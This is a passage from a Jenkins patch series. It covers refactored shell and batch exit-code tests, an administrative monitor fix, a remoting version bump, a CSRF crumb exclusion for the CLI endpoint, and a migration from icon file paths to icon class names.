                      + If set, the shell exit code that will be interpreted as an unstable build result. If the exit code matches the value, + the build results will be set to 'unstable' and next steps will be continued. On Unix-like it is a value between 0-255. + The value 0 is ignored and does not make the build unstable to keep the default behaviour consistent. +
                      diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 504c5a94ef..93673d6c95 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,25 +1,29 @@ package hudson.tasks; -import static org.junit.Assert.asssertNull; +import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; +import java.io.IOException; + +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.FakeLauncher; +import org.jvnet.hudson.test.PretendSlave; import hudson.Functions; import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; -import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; -import org.apache.commons.io.FileUtils; -import org.jvnet.hudson.test.FakeLauncher; -import org.jvnet.hudson.test.HudsonTestCase; -import org.jvnet.hudson.test.PretendSlave; -import org.jvnet.hudson.test.Issue; -import org.jvnet.hudson.test.JenkinsRule; -import java.io.File; -import java.io.IOException; -import java.io.PrintStream; -import java.util.List; + +/** + * Tests for the BatchFile tasks class. + * + * @author David Ruhmann + */ +public class BatchFileTest { @Rule public JenkinsRule rule = new JenkinsRule(); @@ -53,53 +57,95 @@ import java.util.List; } } + private static Shell createNewBatchTask(String command, Integer unstableReturn) { + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; + } + + private void nonZeroErrorlevelShouldMakeBuildUnstable(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", exitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + } + + @Test @Issue("JENKINS-23786") - public void testUnstableReturn() throws Exception { - if(!Functions.isWindows()) - return; + public void windowsNonZeroErrorlevelsShouldMakeBuildUnstable() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldMakeBuildUnstable(exitCode); + } + } - PretendSlave returns2 = createPretendSlave(new ReturnCodeFakeLauncher(2)); - PretendSlave returns1 = createPretendSlave(new ReturnCodeFakeLauncher(1)); - PretendSlave returns0 = createPretendSlave(new ReturnCodeFakeLauncher(0)); + private void nonZeroErrorlevelShouldBreakTheBuildByDefault(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); FreeStyleProject p; - FreeStyleBuild b; - - /* Unstable=2, error codes 0/1/2 */ - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); - - /* unstable=null, error codes 0/1/2 */ - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); - /* Creating unstable=0 produces unstable=null */ - assertNull( new BatchFile("",0).getUnstableReturn() ); + p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", null)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", 0)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); } + @Test + @Issue("JENKINS-23786") + public void windowsNonZeroErrorlevelsShouldBreakTheBuildByDefault() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldBreakTheBuildByDefault(exitCode); + } + } + + private void nonZeroErrorlevelShouldBreakTheBuildIfNotMatching(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); + + final int notMatchingExitCode = 44; + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", notMatchingExitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } + + @Test + @Issue("JENKINS-23786") + public void windowsErrorlevelsShouldBreakTheBuildIfNotMatching() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldBreakTheBuildIfNotMatching(exitCode); + } + } + + @Test + @Issue("JENKINS-23786") + public void windowsErrorlevel0ShouldNeverMakeTheBuildUnstable() throws Exception { + assumeTrue(Functions.isWindows()); + + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(0)); + for( Integer unstableReturn: new Integer [] {null, 0, 1}) { + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", unstableReturn)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + } + } + + @Issue("JENKINS-23786") + @Test + public void windowsUnstableCodeZeroIsSameAsUnset() throws Exception { + assumeTrue(Functions.isWindows()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( createNewBatchTask("",0).getUnstableReturn() ); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index 540720a565..f83675e824 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -1,21 +1,22 @@ package hudson.tasks; +import static org.junit.Assert.assertNull; + import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; -import static org.junit.Assume.assumeTrue; - +import static org.junit.Assume.assumeFalse; import hudson.Functions; import hudson.Launcher.ProcStarter; import hudson.Proc; -import hudson.model.Result; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; +import hudson.model.Result; + import org.apache.commons.io.FileUtils; import org.jvnet.hudson.test.FakeLauncher; -import org.jvnet.hudson.test.HudsonTestCase; -import org.jvnet.hudson.test.PretendSlave; import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.PretendSlave; import java.io.File; import java.io.IOException; @@ -73,7 +74,7 @@ public class ShellTest { FreeStyleProject p = rule.createFreeStyleProject(); p.getBuildersList().add(new Shell("echo abc")); p.setAssignedNode(s); - + FreeStyleBuild b = rule.assertBuildStatusSuccess(p.scheduleBuild2(0).get()); assertEquals(1,s.numLaunch); @@ -96,54 +97,97 @@ public class ShellTest { } } + private static Shell createNewShell(String command, Integer unstableReturn) { + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; + } + + private void nonZeroExitCodeShouldMakeBuildUnstable(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", exitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + } + + @Test @Issue("JENKINS-23786") - public void testUnstableReturn() throws Exception { - if(Functions.isWindows()) - return; + public void unixExitCodes1To255ShouldMakeBuildUnstable() throws Exception { + assumeFalse(Functions.isWindows()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldMakeBuildUnstable(exitCode); + } + } - PretendSlave returns2 = rule.createPretendSlave(new ReturnCodeFakeLauncher(2)); - PretendSlave returns1 = rule.createPretendSlave(new ReturnCodeFakeLauncher(1)); - PretendSlave returns0 = rule.createPretendSlave(new ReturnCodeFakeLauncher(0)); + private void nonZeroExitCodeShouldBreakTheBuildByDefault(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); FreeStyleProject p; - FreeStyleBuild b; - /* Unstable=2, error codes 0/1/2 */ p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + p.getBuildersList().add(createNewShell("", null)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + p.getBuildersList().add(createNewShell("", 0)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", 2)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + @Test + @Issue("JENKINS-23786") + public void unixExitCodes1To255ShouldBreakTheBuildByDefault() throws Exception { + assumeFalse(Functions.isWindows()); - /* unstable=null, error codes 0/1/2 */ - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldBreakTheBuildByDefault(exitCode); + } + } - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + private void nonZeroExitCodeShouldBreakTheBuildIfNotMatching(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(exitCode)); - p = rule.createFreeStyleProject(); - p.getBuildersList().add(new Shell("", null)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + final int notMatchingExitCode = 44; - /* Creating unstable=0 produces unstable=null */ - assertNull( new Shell("",0).getUnstableReturn() ); + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", notMatchingExitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + } + @Test + @Issue("JENKINS-23786") + public void unixExitCodes1To255ShouldBreakTheBuildIfNotMatching() throws Exception { + assumeFalse(Functions.isWindows()); + for( int exitCode: new int [] {1, 2, 255}) { + nonZeroExitCodeShouldBreakTheBuildIfNotMatching(exitCode); + } } + @Test + @Issue("JENKINS-23786") + public void unixExitCodes0ShouldNeverMakeTheBuildUnstable() throws Exception { + assumeFalse(Functions.isWindows()); + + PretendSlave slave = rule.createPretendSlave(new ReturnCodeFakeLauncher(0)); + for( Integer unstableReturn: new Integer [] {null, 0, 1}) { + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewShell("", unstableReturn)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); + } + } + + @Issue("JENKINS-23786") + @Test + public void unixUnstableCodeZeroIsSameAsUnset() throws Exception { + assumeFalse(Functions.isWindows()); + + /* Creating unstable=0 produces unstable=null */ + assertNull( createNewShell("",0).getUnstableReturn() ); + } } -- GitLab From d86825620225520194ac49a69ea1e7039e31145f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Mon, 10 Oct 2016 16:28:24 +0200 Subject: [PATCH 375/811] [JENKINS-38678] Properly remove administrative monitors from the ExtensionList (#2577) * [JENKINS-38678] Remove properly administrative monitor previous impl didn't work because ExtensionList#iterator() returns a readonly iterator. * Use foreach loop --- core/src/main/java/jenkins/model/Jenkins.java | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 20c041e9ea..36c10fb42d 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1214,16 +1214,19 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve tcpSlaveAgentListener = null; } if (slaveAgentPort != -1 && tcpSlaveAgentListener == null) { - String administrativeMonitorId = getClass().getName() + ".tcpBind"; + final String administrativeMonitorId = getClass().getName() + ".tcpBind"; try { tcpSlaveAgentListener = new TcpSlaveAgentListener(slaveAgentPort); // remove previous monitor in case of previous error - for (Iterator it = AdministrativeMonitor.all().iterator(); it.hasNext(); ) { - AdministrativeMonitor am = it.next(); + AdministrativeMonitor toBeRemoved = null; + ExtensionList all = AdministrativeMonitor.all(); + for (AdministrativeMonitor am : all) { if (administrativeMonitorId.equals(am.id)) { - it.remove(); + toBeRemoved = am; + break; } } + all.remove(toBeRemoved); } catch (BindException e) { LOGGER.log(Level.WARNING, String.format("Failed to listen to incoming agent connections through JNLP port %s. Change the JNLP port number", slaveAgentPort), e); new AdministrativeError(administrativeMonitorId, -- GitLab From 7e0db20a2cfb08b49e32cf2ec8258ef3f4b3037e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 11 Oct 2016 12:47:38 +0200 Subject: [PATCH 376/811] [JENKINS-38539, JENKINS-37539] Update remoting from 2.62 to 2.62.2 (#2585) 2.61 does not exist, there was an issue during the release Changes in 2.62: https://github.com/jenkinsci/remoting/blob/stable-2.x/CHANGELOG.md#2622 * [JENKINS-38539](https://issues.jenkins-ci.org/browse/JENKINS-38539) - Stability: Turn on SO_KEEPALIVE and provide CLI option to turn it off again. (https://github.com/jenkinsci/remoting/pull/110) * [JENKINS-37539](https://issues.jenkins-ci.org/browse/JENKINS-37539) - Prevent NullPointerException in Engine#connect() when host or port parameters are null or empty. (https://github.com/jenkinsci/remoting/pull/101) * [CID-152201] - Fix resource leak in remoting.jnlp.Main. (https://github.com/jenkinsci/remoting/pull/102) * [CID-152200,CID-152202] - Resource leak in Encryption Cipher I/O streams on exceptional paths. (https://github.com/jenkinsci/remoting/pull/104) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 82aa8478ae..56231443e6 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.62 + 2.62.2 -- GitLab From b62ad15fef4790444af746ac4ae9149c37e89e07 Mon Sep 17 00:00:00 2001 From: Andres Rodriguez Date: Wed, 12 Oct 2016 17:45:38 +0200 Subject: [PATCH 377/811] [JENKINS-38814] Use GREEDY `RemoteInputStream`s (#2583) --- core/src/main/java/hudson/FilePath.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 361e907ba4..a406ffc85a 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -552,7 +552,7 @@ public final class FilePath implements Serializable { * @see #unzip(FilePath) */ public void unzipFrom(InputStream _in) throws IOException, InterruptedException { - final InputStream in = new RemoteInputStream(_in); + final InputStream in = new RemoteInputStream(_in, Flag.GREEDY); act(new SecureFileCallable() { public Void invoke(File dir, VirtualChannel channel) throws IOException { unzip(dir, in); @@ -718,7 +718,7 @@ public final class FilePath implements Serializable { */ public void untarFrom(InputStream _in, final TarCompression compression) throws IOException, InterruptedException { try { - final InputStream in = new RemoteInputStream(_in); + final InputStream in = new RemoteInputStream(_in, Flag.GREEDY); act(new SecureFileCallable() { public Void invoke(File dir, VirtualChannel channel) throws IOException { readFromTar("input stream",dir, compression.extract(in)); -- GitLab From 9f42774315a5d6316da8031ff51e5b866fc07d9a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 22 Sep 2016 17:02:06 +0200 Subject: [PATCH 378/811] [FIX JENKINS-18114] Exclude /cli URL from crumb requirement (#2315) * [FIX JENKINS-18114] Exclude /cli URL from crumb requirement * [JENKINS-18114] Fix test: Don't send the crumb The CLI doesn't do this either. (cherry picked from commit de740c756f7de7fd225919342fa01796367abf00) --- .../java/hudson/cli/CliCrumbExclusion.java | 52 +++++++++++++++++++ .../test/java/hudson/cli/CLIActionTest.java | 1 - 2 files changed, 52 insertions(+), 1 deletion(-) create mode 100644 core/src/main/java/hudson/cli/CliCrumbExclusion.java diff --git a/core/src/main/java/hudson/cli/CliCrumbExclusion.java b/core/src/main/java/hudson/cli/CliCrumbExclusion.java new file mode 100644 index 0000000000..ac49349ccf --- /dev/null +++ b/core/src/main/java/hudson/cli/CliCrumbExclusion.java @@ -0,0 +1,52 @@ +/* + * The MIT License + * + * Copyright (c) 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.cli; + +import hudson.Extension; +import hudson.security.csrf.CrumbExclusion; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; + +import javax.servlet.FilterChain; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Makes CLI HTTP fallback work with CSRF protection enabled (JENKINS-18114). + */ +@Extension +@Restricted(DoNotUse.class) +public class CliCrumbExclusion extends CrumbExclusion { + @Override + public boolean process(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws IOException, ServletException { + String pathInfo = request.getPathInfo(); + if (pathInfo != null && "/cli".equals(pathInfo)) { + chain.doFilter(request, response); + return true; + } + return false; + } +} diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java index b42a89b329..87efece940 100644 --- a/test/src/test/java/hudson/cli/CLIActionTest.java +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -89,7 +89,6 @@ public class CLIActionTest { settings.setHttpMethod(HttpMethod.POST); settings.setAdditionalHeader("Session", UUID.randomUUID().toString()); settings.setAdditionalHeader("Side", "download"); // We try to download something to init the duplex channel - settings = wc.addCrumb(settings); Page page = wc.getPage(settings); WebResponse webResponse = page.getWebResponse(); -- GitLab From bd834fe831b14a0658594ab6b3a4a68a8f3de808 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 12:39:51 +0100 Subject: [PATCH 379/811] [FIXED JENKINS-38960] Deprecate getIconFilePathPattern and switch to IconSpec --- .../java/hudson/model/FreeStyleProject.java | 13 +++++++ .../hudson/model/TopLevelItemDescriptor.java | 37 ++++++++++++++++++- core/src/main/java/hudson/model/View.java | 1 + 3 files changed, 50 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/FreeStyleProject.java b/core/src/main/java/hudson/model/FreeStyleProject.java index ed7b325238..aecfc5cba2 100644 --- a/core/src/main/java/hudson/model/FreeStyleProject.java +++ b/core/src/main/java/hudson/model/FreeStyleProject.java @@ -25,6 +25,8 @@ package hudson.model; import hudson.Extension; import jenkins.model.Jenkins; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; import org.jenkinsci.Symbol; import jenkins.model.item_category.StandaloneProjectsCategory; import org.kohsuke.accmod.Restricted; @@ -97,5 +99,16 @@ public class FreeStyleProject extends Project i return (Jenkins.RESOURCE_PATH + "/images/:size/freestyleproject.png").replaceFirst("^/", ""); } + @Override + public String getIconClassName() { + return "icon-freestyle-project"; + } + + static { + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-sm", "16x16/freestyleproject.png", Icon.ICON_SMALL_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-md", "24x24/freestyleproject.png", Icon.ICON_MEDIUM_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-lg", "32x32/freestyleproject.png", Icon.ICON_LARGE_STYLE)); + IconSet.icons.addIcon(new Icon("icon-freestyle-project icon-xlg", "48x48/freestyleproject.png", Icon.ICON_XLARGE_STYLE)); + } } } diff --git a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java index f53306d1b2..0d974d72b9 100644 --- a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java +++ b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java @@ -30,6 +30,9 @@ import org.acegisecurity.AccessDeniedException; import org.apache.commons.jelly.Script; import org.apache.commons.jelly.XMLOutput; import org.apache.commons.lang.StringUtils; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; +import org.jenkins.ui.icon.IconSpec; import org.kohsuke.stapler.MetaClass; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; @@ -48,7 +51,7 @@ import java.util.logging.Logger; * * @author Kohsuke Kawaguchi */ -public abstract class TopLevelItemDescriptor extends Descriptor { +public abstract class TopLevelItemDescriptor extends Descriptor implements IconSpec { private static final Logger LOGGER = Logger.getLogger(TopLevelItemDescriptor.class.getName()); @@ -189,6 +192,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * @return A string or null if it is not defined. * * @since 2.0 + * @deprecated prefer {@link #getIconClassName()} */ @CheckForNull public String getIconFilePathPattern() { @@ -203,6 +207,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor { * @return A string or null if it is not defined. * * @since 2.0 + * @deprecated prefer {@link #getIconClassName()} */ @CheckForNull public String getIconFilePath(String size) { @@ -212,6 +217,36 @@ public abstract class TopLevelItemDescriptor extends Descriptor { return null; } + /** + * Get the Item's Icon class specification e.g. 'icon-notepad'. + *

                      + * Note: do NOT include icon size specifications (such as 'icon-sm'). + * + * @return The Icon class specification e.g. 'icon-notepad'. + */ + @Override + public String getIconClassName() { + // Oh the fun of somebody adding a legacy way of referencing images into 2.0 code + String pattern = getIconFilePathPattern(); + if (pattern != null) { + // here we go with the dance of the IconSet's + String path = pattern.replace(":size", "24x24"); // we'll strip the icon-md to get the class name + if (path.indexOf('/') == -1) { + // this one is easy... too easy... also will never happen + return IconSet.toNormalizedIconNameClass(path); + } + if (Jenkins.RESOURCE_PATH.length() > 0 && path.startsWith(Jenkins.RESOURCE_PATH)) { + // will to live falling + path = path.substring(Jenkins.RESOURCE_PATH.length()); + } + Icon icon = IconSet.icons.getIconByUrl(path); + if (icon != null) { + return icon.getClassSpec().replaceAll("\\s*icon-md\\s*", " ").replaceAll("\\s+", " "); + } + } + return null; + } + /** * @deprecated since 2007-01-19. * This is not a valid operation for {@link Item}s. diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index 41807209f9..af7aff1651 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -1058,6 +1058,7 @@ public abstract class View extends AbstractModelObject implements AccessControll metadata.put("displayName", descriptor.getDisplayName()); metadata.put("description", descriptor.getDescription()); metadata.put("iconFilePathPattern", descriptor.getIconFilePathPattern()); + metadata.put("iconClassName", descriptor.getIconClassName()); Category category = categories.getItem(ic.getId()); if (category != null) { -- GitLab From 780fdf1d0c662d81c2e9e521ba8e6606859d562b Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 12:48:39 +0100 Subject: [PATCH 380/811] Fix javadoc --- core/src/main/java/hudson/model/TopLevelItemDescriptor.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java index 0d974d72b9..b6745ba3b4 100644 --- a/core/src/main/java/hudson/model/TopLevelItemDescriptor.java +++ b/core/src/main/java/hudson/model/TopLevelItemDescriptor.java @@ -219,7 +219,7 @@ public abstract class TopLevelItemDescriptor extends Descriptor im /** * Get the Item's Icon class specification e.g. 'icon-notepad'. - *

                      + *

                      * Note: do NOT include icon size specifications (such as 'icon-sm'). * * @return The Icon class specification e.g. 'icon-notepad'. -- GitLab From 4a97222aadd8af2623a547b5a7099b946c8cfd82 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 13 Oct 2016 14:22:42 +0100 Subject: [PATCH 381/811] [JENKINS-38960] The new item page should use the IconClassName preferentially - Such a pity that we don't auto-populate the CSS with the image sources for all the icons --- core/src/main/java/hudson/model/View.java | 26 +++++++++++++++++++++-- war/src/main/js/add-item.js | 7 ++++-- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index af7aff1651..9683370a73 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -67,7 +67,11 @@ import jenkins.util.xml.XMLUtils; import net.sf.json.JSON; import net.sf.json.JSONArray; import net.sf.json.JSONObject; +import org.apache.commons.jelly.JellyContext; +import org.apache.commons.lang.StringUtils; import org.apache.tools.ant.filters.StringInputStream; +import org.jenkins.ui.icon.Icon; +import org.jenkins.ui.icon.IconSet; import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; @@ -1044,10 +1048,18 @@ public abstract class View extends AbstractModelObject implements AccessControll * @return A {@link Categories} entity that is shown as JSON file. */ @Restricted(DoNotUse.class) - public Categories doItemCategories(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { + public Categories doItemCategories(StaplerRequest req, StaplerResponse rsp, @QueryParameter String iconStyle) throws IOException, ServletException { getOwner().checkPermission(Item.CREATE); Categories categories = new Categories(); int order = 0; + JellyContext ctx; + + if (StringUtils.isNotBlank(iconStyle)) { + ctx = new JellyContext(); + ctx.setVariable("resURL", req.getContextPath() + Jenkins.RESOURCE_PATH); + } else { + ctx = null; + } for (TopLevelItemDescriptor descriptor : DescriptorVisibilityFilter.apply(getOwnerItemGroup(), Items.all(Jenkins.getAuthentication(), getOwnerItemGroup()))) { ItemCategory ic = ItemCategory.getCategory(descriptor); Map metadata = new HashMap(); @@ -1058,7 +1070,17 @@ public abstract class View extends AbstractModelObject implements AccessControll metadata.put("displayName", descriptor.getDisplayName()); metadata.put("description", descriptor.getDescription()); metadata.put("iconFilePathPattern", descriptor.getIconFilePathPattern()); - metadata.put("iconClassName", descriptor.getIconClassName()); + String iconClassName = descriptor.getIconClassName(); + if (StringUtils.isNotBlank(iconClassName)) { + metadata.put("iconClassName", iconClassName); + if (ctx != null) { + Icon icon = IconSet.icons + .getIconByClassSpec(StringUtils.join(new String[]{iconClassName, iconStyle}, " ")); + if (icon != null) { + metadata.put("iconQualifiedUrl", icon.getQualifiedUrl(ctx)); + } + } + } Category category = categories.getItem(ic.getId()); if (category != null) { diff --git a/war/src/main/js/add-item.js b/war/src/main/js/add-item.js index 7156144471..592b07a3d7 100644 --- a/war/src/main/js/add-item.js +++ b/war/src/main/js/add-item.js @@ -3,7 +3,7 @@ var $ = require('jquery-detached').getJQuery(); var getItems = function() { var d = $.Deferred(); - $.get('itemCategories?depth=3').done( + $.get('itemCategories?depth=3&iconStyle=icon-xlg').done( function(data){ d.resolve(data); } @@ -200,7 +200,10 @@ $.when(getItems()).done(function(data) { function drawIcon(elem) { var $icn; - if (elem.iconFilePathPattern) { + if (elem.iconClassName && elem.iconQualifiedUrl) { + $icn = $('

                      '); + $([''].join('')).appendTo($icn); + } else if (elem.iconFilePathPattern) { $icn = $('
